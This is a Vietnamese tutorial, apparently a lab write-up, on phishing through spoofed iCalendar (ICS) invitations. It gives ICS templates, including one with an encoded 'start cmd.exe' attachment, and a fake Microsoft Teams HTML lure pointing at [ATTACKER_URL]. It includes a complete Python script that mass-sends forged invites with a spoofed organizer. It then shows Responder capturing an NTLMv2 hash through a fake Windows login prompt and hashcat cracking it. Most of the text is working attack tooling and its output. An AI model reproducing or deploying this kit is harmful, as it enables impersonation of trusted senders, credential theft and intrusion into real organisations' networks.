# Phishing with Calendars Tấn công `phishing `(https://attack.mitre.org/techniques/T1566) là một phương pháp thường được sử dụng để truy cập trái phép vào hệ thống. Trong bài viết này mình sẽ giới thiệu một hình thức phishing mới có thể vượt qua những biện pháp bảo mật và đánh lừa người dùng. Chúng ta sẽ tìm hiểu cách kẻ tấn công lợi dụng lời mời trên lịch như một vector tấn công ban đầu. Sử dụng định dạng tệp (https://docs.fileformat.com/email/ics/) ICS để tạo ra các lời mời giả mạo để dẫn đến việc đánh cắp thông tin. Chúng ta sẽ bắt đầu bằng cách xem xét tiêu chuẩn `iCalendar(ICS)` và cấu trúc của nó, tập trung vào các trường thông tin quan trọng để thao túng nó cho mục đích xấu. Các kĩ năng ta sẽ khai thác như sau: - Khai thác lời mời như một vector truy cập ban đầu - Tạo lời mời qua lịch tùy chỉnh - Lạm dụng các tính năng của lịch - Đánh cắp thông tin thông qua Responder ## Lợi dụng lịch như một vector truy cập ban đầu Định dạng iCalendar (https://en.wikipedia.org/wiki/ICalendar) ICS là một tiêu chuẩn dduwwojc dùng nhiều trên các nền tảng như Google Calendar, Outlook, Apple Calendar. Cấu trúc của nó rất đơn giản dựa trên các trường thông tin như: `organizer details`, `event time`, và `descriptions` Tiêu chuẩn iCalendar (ICS) là một định dạng được sử dụng rộng rãi để trình bày thông tin qua lịch một cách nhất quán. Về cơ bản file ICS là một văn bản thuần túy theo cú pháp cụ thể để biểu diễn các sự kiện của lịch. Mỗi thành phần chứa các thuộc tính được biểu diễn bằng các cặp `key-value` Tiêu chuẩn này hỗ trợ nhiều mã hóa khác nhau bao gồm văn bản ngày tháng và thời gian. Chúng ta hãy cùng tìm một số trường thông tin mà hacker thường thao túng. Thuộc tính này `ORGANIZER` chỉ định người hoặc tổ chức chịu trách nhiệm về sự kiện. Trường này thường bao gồm địa chỉ email và cũng có thể có tên hiển thị. ```shell ORGANIZER;CN="John Doe":mailto:hugndeptrai@example.com ``` Thời điểm diễn ra sự kiện rất quan trọng, và các thuộc tính `DTSTART` và `DTEND` chỉ định thời gian bắt đầu và kết thúc tương ứng. Các trường này có thể bao gồm thông tin múi giờ để tránh nhầm lẫn giữa các vị trí địa lý khác nhau. ``` DTSTART;TZID=America/New_York:20231015T090000 DTEND;TZID=America/New_York:20231015T100000 ``` Thuộc tính này `DESCRIPTION` cung cấp thêm thông tin chi tiết về sự kiện, chẳng hạn như chương trình nghị sự, địa điểm hoặc các thông tin liên quan khác. Trường này giúp làm rõ bối cảnh và mục đích của sự kiện. ``` DESCRIPTION:Weekly team meeting to discuss project updates and milestones. ``` Với kiến ​​thức cơ bản về tiêu chuẩn ICS và các trường chính của nó, chúng ta có thể tạo lời mời sự kiện tùy chỉnh. Trong phần tiếp theo, chúng ta sẽ chỉnh sửa các giá trị khóa cụ thể trong tệp ICS và tạo lời mời sự kiện tùy chỉnh. ## Tạo lời mời qua lịch tùy chỉnh Chúng ta sẽ tạo một lời mời và gửi nó bằng Sendmail từ máy kali Trước tiên chusngt a hãy dùng mẫu ICS sau: ``` BEGIN:VCALENDAR PRODID:Microsoft Exchange Server 2022 VERSION:2.0 CALSCALE:GREGORIAN METHOD:REQUEST BEGIN:VTIMEZONE TZID:UTC BEGIN:STANDARD DTSTART:20241010T073659Z TZOFFSETFROM:+0000 TZOFFSETTO:+0000 END:STANDARD END:VTIMEZONE BEGIN:VEVENT DTSTART;TZID=UTC:20241010T073059Z DTEND;TZID=UTC:20241010T083059Z DTSTAMP:20241010T034159Z ORGANIZER;CN=Peter:mailto:peter@corp1.com UID:FIXMEUID20241010T034159Z CREATED:20241010T034159Z DESCRIPTION:http://meeting.corp1.com LAST-MODIFIED:20241010T034159Z LOCATION:Microsoft Teams Meeting SEQUENCE:0 STATUS:CONFIRMED SUMMARY:HR meeting TRANSP:OPAQUE END:VEVENT END:VCALENDAR ``` Hãy cùng xem xét các trường dữ liệu khác nhau mà chúng ta đã chỉnh sửa trong phần `VEVENT` và thảo luận về các chiến thuật mà kẻ thù có thể cân nhắc khi thao túng chúng. Các trường `DTSTART` và `DTEND` chỉ định thời gian bắt đầu và kết thúc của sự kiện. Kẻ tấn công thường đặt các thời gian này vào giờ làm việc thông thường để tăng tính hợp pháp của sự kiện. Trường `ORGANIZER` chứa tên và email tùy chỉnh của chúng tôi. Mục tiêu là làm cho sự kiện có vẻ như đến từ một nguồn đáng tin cậy. Kẻ xấu thường điền vào trường `DESCRIPTION` các liên kết hoặc hướng dẫn độc hại dẫn nạn nhân đến các trang web lừa đảo hoặc tải xuống phần mềm độc hại. Cuối cùng, `UID` là mã định danh duy nhất cho sự kiện, đảm bảo nó có thể vượt qua các bộ lọc và xuất hiện như một mục lịch riêng biệt trong lịch trình của mục tiêu, khiến việc phát hiện trở nên khó khăn hơn. Chúng ta có thể tạo một giá trị ngẫu nhiên cho giá trị này trong quá trình chạy. Trước khi gửi lời mời tham dự sự kiện tùy chỉnh đầu tiên, chúng ta hãy thiết kế một mẫu email HTML cơ bản để có thể tùy chỉnh sau này. ```html <!DOCTYPE html> <html lang="vi"> <head> <meta charset="UTF-8"> <title>Thử nghiệm</title> </head> <body> <p>Xin chào,</p> <p>Đây là email thử nghiệm</p> <p>Trân trọng,<br>Hùng đẹp trai vcl</p> </body> </html> ``` Chúng ta sẽ lưu mẫu dưới dạng `template.html` và tệp ICS dưới dạng `iCalendar.ics` trên máy Kali option `-s 192.168.xxx.xxx` chỉ định máy chủ SMTP của chúng ta, chúng ta sẽ thiết lập mục tiêu bằng `-t example@corp.com` và thiết lập địa chỉ email giả mạo bằng `-f hungbd711@gmail.com` ![ccc](https://hackmd.io/_uploads/r1e4WGfV-e.png) Trên máy client chúng ta sẽ mở ứng dụng Thunderbird ![sdfs](https://hackmd.io/_uploads/r11RfMGNWl.png) Vậy là đã bước đầu hoàn thành, tiếp theo chúng ta sẽ tùy chỉnh để tăng tính hấp dẫn. ## Xây dựng cuộc tấn công lừa đảo chuyên nghiệp hơn Để tăng tính hiệu quả hơn chúng ta dựa trên HTML tạo một lời mời giống như Microsoft Teams hợp lệ bằng định dạng HTML của nó. https://www.microsoft.com/en-us/microsoft-teams/group-chat-software ``` <p class=MsoNormal style='background:white'><span style='color:black'>We are reaching out to inform you of an urgent meeting scheduled by the HR Department that requires your immediate attention.<u1:p>&nbsp;<o:p></o:p></span></u1:p></p> <p class=MsoNormal style='background:white'><span style='color:#5F5F5F'>________________________________________________________________________________</span><span style='mso-fareast-font-family:"Times New Roman";color:black'> <u1:p>&nbsp;</u1:p></span><span style='color:black'><o:p></o:p></span></p> <p class=MsoNormal style='background:white'><span style='font-size:18.0pt; font-family:"Segoe UI",sans-serif;color:#252424'>Microsoft Teams meeting</span><span style='font-family:"Segoe UI",sans-serif;color:#252424'> <u1:p>&nbsp;</u1:p></span><span style='color:black'><o:p></o:p></span></p> <p class=MsoNormal style='background:white'><b><span style='font-size:10.5pt; font-family:"Segoe UI",sans-serif;color:#252424'>Join on your computer or mobile app</span></b><b><span style='font-family:"Segoe UI",sans-serif; color:#252424'> <u1:p>&nbsp;</u1:p></span></b><span style='color:black'><o:p></o:p></span></p> <p class=MsoNormal style='background:white'><span style='font-family:"Segoe UI",sans-serif; color:#252424'><a href="[ATTACKER_URL]" target="_blank"><span style='font-size:10.5pt;font-family:"Segoe UI Semibold",sans-serif; color:#6264A7'>Click here to join the meeting</span></a> <u1:p>&nbsp;</u1:p></span><span style='color:black'><o:p></o:p></span></p> <p class=MsoNormal style='background:white'><span style='font-family:"Segoe UI",sans-serif; color:#252424'><a href="[ATTACKER_URL]" target="_blank"><span style='font-size:10.5pt;color:#6264A7'>Learn More</span></a> | <a href="[ATTACKER_URL]" target="_blank"><span style='font-size:10.5pt;color:#6264A7'>Meeting options</span></a><u1:p>&nbsp;</u1:p></span><span style='color:black'><o:p></o:p></span></p> <p class=MsoNormal style='background:white'><span style='color:#5F5F5F'><span style='opacity:.36'>________________________________________________________________________________</span></span><span style='mso-fareast-font-family:"Times New Roman";color:black'> <u1:p>&nbsp;</u1:p></span><span style='color:black'><o:p></o:p></span></p> ``` Chúng ta sẵn sàng gửi bản mới này. ![2222](https://hackmd.io/_uploads/rkwA8zfE-l.png) Email mới này có vẻ rất giống với thông báo Teams chính thức. ![43](https://hackmd.io/_uploads/r1Nq7Xz4Ze.png) Mặc dù điều này rất tốt nhưng việc soạn thảo thủ công nội dung email rất tốn thời gian. ## Tự động hóa một cuộc tấn công Đây là mẫu HTML được cập nhật tương tự như bản bên trên nhưng có vài phẩn tổng quát hơn ```html <p class=MsoNormal style='background:white'><span style='color:black'>{EVENT_TEXT}<u1:p>&nbsp;<o:p></o:p></span></u1:p></p> <p class=MsoNormal style='background:white'><span style='color:#5F5F5F'>________________________________________________________________________________</span><span style='mso-fareast-font-family:"Times New Roman";color:black'> <u1:p>&nbsp;</u1:p></span><span style='color:black'><o:p></o:p></span></p> <p class=MsoNormal style='background:white'><span style='font-size:18.0pt; font-family:"Segoe UI",sans-serif;color:#252424'>Microsoft Teams meeting</span><span style='font-family:"Segoe UI",sans-serif;color:#252424'> <u1:p>&nbsp;</u1:p></span><span style='color:black'><o:p></o:p></span></p> <p class=MsoNormal style='background:white'><b><span style='font-size:10.5pt; font-family:"Segoe UI",sans-serif;color:#252424'>Join on your computer or mobile app</span></b><b><span style='font-family:"Segoe UI",sans-serif;color:#252424'> <u1:p>&nbsp;</u1:p></span></b><span style='color:black'><o:p></o:p></span></p> <p class=MsoNormal style='background:white'><span style='font-family:"Segoe UI",sans-serif;color:#252424'><a href="{EVENT_URL}" target="_blank"><span style='font-size:10.5pt;font-family:"Segoe UI Semibold",sans-serif;color:#6264A7'>Click here to join the meeting</span></a> <u1:p>&nbsp;</u1:p></span><span style='color:black'><o:p></o:p></span></p> <p class=MsoNormal style='background:white'><span style='font-family:"Segoe UI",sans-serif;color:#252424'><a href="https://aka.ms/JoinTeamsMeeting" target="_blank"><span style='font-size:10.5pt;color:#6264A7'>Learn More</span></a> | <a href="{EVENT_URL}" target="_blank"><span style='font-size:10.5pt;color:#6264A7'>Meeting options</span></a><u1:p>&nbsp;</u1:p></span><span style='color:black'><o:p></o:p></span></p> <p class=MsoNormal style='background:white'><span style='color:#5F5F5F'><span style='opacity:.36'>________________________________________________________________________________</span></span><span style='mso-fareast-font-family:"Times New Roman";color:black'> <u1:p>&nbsp;</u1:p></span><span style='color:black'><o:p></o:p></span></p> ``` Giống như các phiên bản trước. Chúng ta có thể thêm đoạn văn bản tùy chỉnh `({EVENT_TEXT})` cung cấp ngữ cảnh cho cuộc họp, giúp cho email trở nên phù hợp hơn Yếu tố quan trọng ở đây là liên kết lừa đảo có thể nhấp chuột `({EVENT_URL})` được gán nhãn "Click here to join the meeting." Lưu nó lại dưới tên `email_template.html` Tiếp theo chúng ta sẽ chuyển sang mẫu ICS có nội dung như sau: ``` BEGIN:VCALENDAR PRODID:Microsoft Exchange Server 2022 VERSION:2.0 CALSCALE:GREGORIAN METHOD:REQUEST BEGIN:VTIMEZONE TZID:UTC BEGIN:STANDARD DTSTART:{DTSTART} TZOFFSETFROM:+0000 TZOFFSETTO:+0000 END:STANDARD BEGIN:DAYLIGHT DTSTART:{DTSTART} TZOFFSETFROM:+0000 TZOFFSETTO:+0000 END:DAYLIGHT END:VTIMEZONE BEGIN:VEVENT DTSTART;TZID=UTC:{DTSTART} DTEND;TZID=UTC:{DTEND} DTSTAMP:{DTSTAMP} ORGANIZER;CN={ORGANIZER_NAME}:mailto:{ORGANIZER_EMAIL} ATTACH;FMTTYPE=application/octet-stream;ENCODING=BASE64:\c3RhcnQgY21kLmV4ZQo= UID:FIXMEUID{DTSTAMP} {ATTENDEES} CREATED:{DTSTAMP} DESCRIPTION:{DESCRIPTION} LAST-MODIFIED:{DTSTAMP} LOCATION:Microsoft Teams Meeting SEQUENCE:0 STATUS:CONFIRMED SUMMARY:{SUMMARY} TRANSP:OPAQUE END:VEVENT END:VCALENDAR ``` Trong đoạn mã Python mà chúng ta sắp tạo, chúng ta sẽ thay thế động các phần giữ chỗ trong ngoặc vuông trong mẫu ICS để tạo lời mời sự kiện cá nhân hóa. Hãy cùng thảo luận về một số phần giữ chỗ này. Chúng tôi sẽ sử dụng `{DTSTAMP}` dấu thời gian tạo sự kiện, đảm bảo mỗi lời mời đều có một mã định danh duy nhất. Thời gian bắt đầu và kết thúc sự kiện được chèn vào `{DTSTART}` và `{DTEND}`, phản ánh thời gian cuộc họp đã lên lịch ở định dạng UTC. Đối với tên người tổ chức sự kiện, chúng ta có thể thiết lập tĩnh `{ORGANIZER_NAME}` giá trị như "HR Team Corp1", và sử `{ORGANIZER_EMAIL}` dụng động giá trị được cung cấp sender_email, khiến email có vẻ như đến từ một nguồn đáng tin cậy. Chúng ta sẽ điền `{DESCRIPTION}` URL lừa đảo vào chỗ giữ chỗ thông qua `event_url` đối số, nhúng nội dung độc hại vào phần mô tả của lời mời. Chúng ta sẽ xác định tĩnh chủ đề hoặc tiêu đề của sự kiện bằng cách sử dụng `{SUMMARY}` chỗ giữ chỗ (ví dụ: "Cuộc họp Nhân sự"). Cuối cùng, chúng ta sẽ điền vào `{ATTENDEES}` chỗ giữ chỗ kết quả từ `generate_attendees()` hàm, liệt kê những cá nhân quan trọng là người tham gia cuộc họp để tăng tính xác thực của lời mời. Chúng ta sẽ lưu tệp này dưới dạng `iCalendar_template.ics` trên máy Kali của mình, và giờ chúng ta đã sẵn sàng viết kịch bản Python thực tế. Về cơ bản nó được lấy cảm hứng từ: https://github.com/ExAndroidDev/fakemeeting Tiếp theo là file `fakeics.py` ```python import time import codecs import smtplib import datetime import sys from email.mime.text import MIMEText from email.mime.base import MIMEBase from email.encoders import encode_base64 from email.mime.multipart import MIMEMultipart from email.utils import COMMASPACE, formatdate # email settings EMAIL_SUBJECT = "HR Meeting" # event settings EVENT_SUMMARY = "HR meeting" ORGANIZER_NAME = "HR Team Corp1" ATTENDEES = ["ceo@corp1.com", "cto@corp1.com"] # template settings EVENT_TEXT = """ Dear colleague, We would like to inform you about an important HR meeting regarding recent company-wide changes and policies. Your attendance is highly encouraged as we will be discussing essential updates that impact all employees. Topics will include: - Organizational restructuring - New employee benefits package - Updates to leave policies - Changes to the remote work policy This meeting is a priority and will be your opportunity to ask any questions or raise concerns. We look forward to your participation. Best regards, HR Team """ def load_template(): template = "" with codecs.open("email_template.html", 'r', 'utf-8') as f: template = f.read() return template def prepare_template(event_url): email_template = load_template() email_template = email_template.format(EVENT_TEXT=EVENT_TEXT, EVENT_URL=event_url) return email_template def load_ics(): ics = "" with codecs.open("iCalendar_template.ics", 'r', 'utf-8') as f: ics = f.read() return ics def prepare_ics(dtstamp, dtstart, dtend, sender_email, event_url): ics_template = load_ics() ics_template = ics_template.format( DTSTAMP=dtstamp, DTSTART=dtstart, DTEND=dtend, ORGANIZER_NAME=ORGANIZER_NAME, ORGANIZER_EMAIL=sender_email, DESCRIPTION=event_url, # Use event_url as DESCRIPTION SUMMARY=EVENT_SUMMARY, ATTENDEES=generate_attendees() ) return ics_template def generate_attendees(): attendees = [] for attendee in ATTENDEES: attendees.append( "ATTENDEE;CUTYPE=INDIVIDUAL;ROLE=REQ-PARTICIPANT;PARTSTAT=ACCEPTED;RSVP=FALSE\r\n ;CN={attendee};X-NUM-GUESTS=0:\r\n mailto:{attendee}".format(attendee=attendee) ) return "\r\n".join(attendees) def send_email(smtp_server, sender_email, to, event_url): print('Sending email to: ' + to) # in .ics file timezone is set to be utc utc_offset = time.localtime().tm_gmtoff / 60 ddtstart = datetime.datetime.now() dtoff = datetime.timedelta(minutes=utc_offset + 5) # meeting has started 5 minutes ago duration = datetime.timedelta(hours=1) # meeting duration ddtstart = ddtstart - dtoff dtend = ddtstart + duration dtstamp = datetime.datetime.now().strftime("%Y%m%dT%H%M%SZ") dtstart = ddtstart.strftime("%Y%m%dT%H%M%SZ") dtend = dtend.strftime("%Y%m%dT%H%M%SZ") ics = prepare_ics(dtstamp, dtstart, dtend, sender_email, event_url) email_body = prepare_template(event_url) msg = MIMEMultipart('mixed') msg['Reply-To'] = sender_email msg['Date'] = formatdate(localtime=True) msg['Subject'] = EMAIL_SUBJECT msg['From'] = sender_email msg['To'] = to part_email = MIMEText(email_body, "html") part_cal = MIMEText(ics, 'calendar;method=REQUEST') msgAlternative = MIMEMultipart('alternative') msg.attach(msgAlternative) ics_atch = MIMEBase('application/ics', ' ;name="%s"' % ("invite.ics")) ics_atch.set_payload(ics) encode_base64(ics_atch) ics_atch.add_header('Content-Disposition', 'attachment; filename="%s"' % ("invite.ics")) eml_atch = MIMEBase('text/plain', '') eml_atch.set_payload("") encode_base64(eml_atch) eml_atch.add_header('Content-Transfer-Encoding', "") msgAlternative.attach(part_email) msgAlternative.attach(part_cal) mailServer = smtplib.SMTP(smtp_server, 25) mailServer.ehlo() mailServer.ehlo() mailServer.sendmail(sender_email, to, msg.as_string()) mailServer.close() def main(): if len(sys.argv) != 5: print("Usage: python fakemeeting.py <smtp_server> <sender_email> <recipient_email> <event_url>") sys.exit(1) smtp_server = sys.argv[1] sender_email = sys.argv[2] recipient_email = sys.argv[3] event_url = sys.argv[4] send_email(smtp_server, sender_email, recipient_email, event_url) if __name__ == "__main__": main() ``` Sau này rảnh tao sẽ ngồi viết thêm về phần này, do đợt này stress quá nên thôi anh em đáp code lên claude cho nó giải thích nhé. **Khai triển thôi** ![444](https://hackmd.io/_uploads/SkZYY7zE-g.png) ![image](https://hackmd.io/_uploads/Bkx7qmM4Zx.png) Vậy là chúng ta đã thành công thực hiện một chuỗi tấn công tự động thông qua lời mời tham gia sự kiện. Ở đây chúng ta không chỉ nhúng các URL lừa đảo vào nội dung email mà còn đưa cả URL và phần mô tả của ICS ## Đánh cắp thông tin đăng nhập thông qua Responder Ở phần trước chúng ta đã thành công tạo một email lừa đảo có vẻ rất tốt, nhìn nó giống như Microsoft Teams. Để tối đa hóa hiệu quả của cuộc tấn công chúng ta sẽ đánh cắp thông tin đăng nhập thông qua một cuộc tấn công tiếp theo. Chúng ta sẽ thực hiện điều này với Responder(https://www.kali.org/tools/responder/) Chúng ta cũng có thể sử dụng Responder cho các cuộc tấn công kiểu lừa đảo để thu thập thông tin đăng nhập qua HTTP bằng cách khai thác các dịch vụ mạng như SMB và HTTP phụ thuộc vào việc phân giải tên mạng. Ví dụ, khi người dùng trong một mạng dễ bị tổn thương cố gắng truy cập vào một tài nguyên không tồn tại, Responder có thể chặn yêu cầu đó, lừa người dùng gửi thông tin đăng nhập của họ bằng cách phản hồi bằng một máy chủ HTTP hoặc SMB độc hại. Đối với cuộc tấn công của chúng tôi, chúng tôi sẽ thực hiện theo kế hoạch sau: sau khi gửi email lừa đảo, nạn nhân có khả năng sẽ nhấp vào liên kết "cuộc họp" độc hại, tin rằng đó là lời mời tham gia Microsoft Teams hợp lệ. Sau khi nhấp vào, Responder sẽ chặn yêu cầu và hiển thị một lời nhắc đăng nhập giả mạo, bắt chước trang đăng nhập Microsoft Teams quen thuộc. Người dùng sau đó sẽ được yêu cầu nhập thông tin đăng nhập của họ để tiếp tục. Khi nạn nhân nhập thông tin đăng nhập, Responder sẽ ngay lập tức thu thập và ghi lại chúng. Thông tin đăng nhập này thường được gửi dưới dạng mã hóa, nhưng chúng tôi có thể thử giải mã chúng bằng các công cụ như Hashcat để lấy mật khẩu dạng văn bản gốc. ![image](https://hackmd.io/_uploads/HJi6s7zV-e.png) Đầu tiên chúng ta setup công cụ Responder để thực hiện lắng nghe ![image](https://hackmd.io/_uploads/rk_73QzEbx.png) Khi ấn vào Click here to join the meeting, nó sẽ mở ra một cửa sổ giả mạo bảo mật của Windows ![111](https://hackmd.io/_uploads/rJEChmGEbg.png) Sau khi đăng nhập qua form, Responder sẽ hiển thị kết quả của người dùng ``` [+] Listening for events... [HTTP] NTLMv2 Client : 192.168.50.120 [HTTP] NTLMv2 Username : CORP1\admin [HTTP] NTLMv2 Hash : admin::CORP1:1a04951d4c1f9296:BB96D8B827D9E78C21449561590129C2:010100000000000092395303B323DB011417B38CC858CC0800000000020008004F0043005100410001001E00570049004E002D00500030004C005400540044003800350030004B005300040014004F004300510041002E004C004F004300xxx04C0003003400570049004E002D00500030004C005400540044003800350030004B0053002E004F004300510041002E004C004F00430041004C00050014004F004300510041002E004C004F00430041004C000800300030000000000000000100000000200000A10EFE50A222919674D316C528835C66FB8A4E972B792B6AD801EF57A87311290A001000000000000000000000000000000000000900280048005400540050002F003100390032002E003100360038002E003200350031002E003100350031000000000000000000 ``` ```shell kali@kali:~$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt hashcat (v6.2.6) starting OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project] ==================================================================================================================================== * Device #1: cpu--0x000, 1249/2562 MB (512 MB allocatable), 4MCU ... Dictionary cache built: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344392 * Bytes.....: 139921507 * Keyspace..: 14344385 * Runtime...: 0 secs admin::CORP1:b0473ae7fc387b68:26e980fe9c80dc71005274e7c3e1665f:0101000000000000c67c9eecf21adb01ce26c7181bfd856200000000020008004c0049004f004d0001001e00570049004e002d00320045004d004900330046004b004600460052004400040014004c0049004f004d002e004c004f00430041004c0003003400570049004e002d00320045004d004900330046004b0046004600520044xxxxx04c0049004f004d002e004c004f00430041004c00050014004c0049004f004d002e004c004f00430041004c000800300030000000000000000100000000200000a10efe50a222919674d316c528835c66fb8a4e972b792b6ad801ef57a87311290a001000000000000000000000000000000000000900280048005400540050002f003100390032002e003100360038002e003200350031002e003100350031000000000000000000:cccccccccc Session..........: hashcat Status...........: Cracked Hash.Mode........: 5600 (NetNTLMv2) Hash.Target......: OFFSEC::CORP1:b0473ae7fc387b68:26e980fe9c80dc710052...000000 Time.Started.....: Mon Oct 21 09:06:09 2024 (1 sec) Time.Estimated...: Mon Oct 21 09:06:10 2024 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 2540.9 kH/s (0.30ms) @ Accel:256 Loops:1 Thr:1 Vec:4 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 1600512/14344385 (11.16%) Rejected.........: 0/1600512 (0.00%) Restore.Point....: 1599488/14344385 (11.15%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: lacielou -> la01ura Hardware.Mon.#1..: Util: 82% Started: Mon Oct 21 09:06:08 2024 Stopped: Mon Oct 21 09:06:11 2024 ``` Vậy là chúng ta đã thành công thực hiện một cuộc tấn công phishing bằng cách sử dụng lời mời thông qua lịch hẹn ICS. Chúng ta có thể thu thập được thông tin đăng nhập để giành quyền truy cập vào mục tiêu để di chuyển ngang trong mạng nội bộ.